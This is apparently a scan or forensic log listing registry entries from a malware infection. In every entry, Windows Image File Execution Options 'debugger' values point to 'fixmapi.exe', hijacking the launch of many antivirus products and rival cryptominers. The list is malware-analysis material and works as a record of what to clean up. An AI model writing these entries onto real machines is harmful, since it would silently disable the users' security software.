[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIRITSVC.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MONITOR.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smBootTime.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UninstallMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsbu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systrays.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchobst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetGoodBar.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytpumpchrome.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgbider.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wiswqcs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zpgiupy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QpMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbtce.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\THGuard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytbrowser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rutserv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrvs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SFAUpdater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe(1)] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updata.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rvlkl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sessmgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ingloca.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3SP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvcc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vip Slow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systmss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LoadStat.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuikProtect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer-browser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StSess.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcohst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lass.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KasAVSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jixlea.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3Lite.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUAMain.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Terms.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javaj.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchots.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Project1.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CpService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpkL64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPK.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TeaTimer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Realmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securesurf.browser.client.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WRSA.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webisida.browser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBAMService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbarw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWSCSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTaskinfo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTask.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scriptrap.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTraffic.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTTacP.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xStarter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spools.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spooIsv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win_Updater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiapsvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnhelp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Photo.scr] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\JavaUpdater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmadavProtect32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vercls.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.SB.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mworker.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TINY.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicroMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rkfree.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdisk.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\volumedisk.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ITbrain_AntiMalware_Service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hostdl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\javal.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MtxHotPlugService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfusclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdguardSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skying.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTimeService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Miner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wwmeeg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Spred.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinApp.exe] 'debugger' = 'fixmapi.exe'
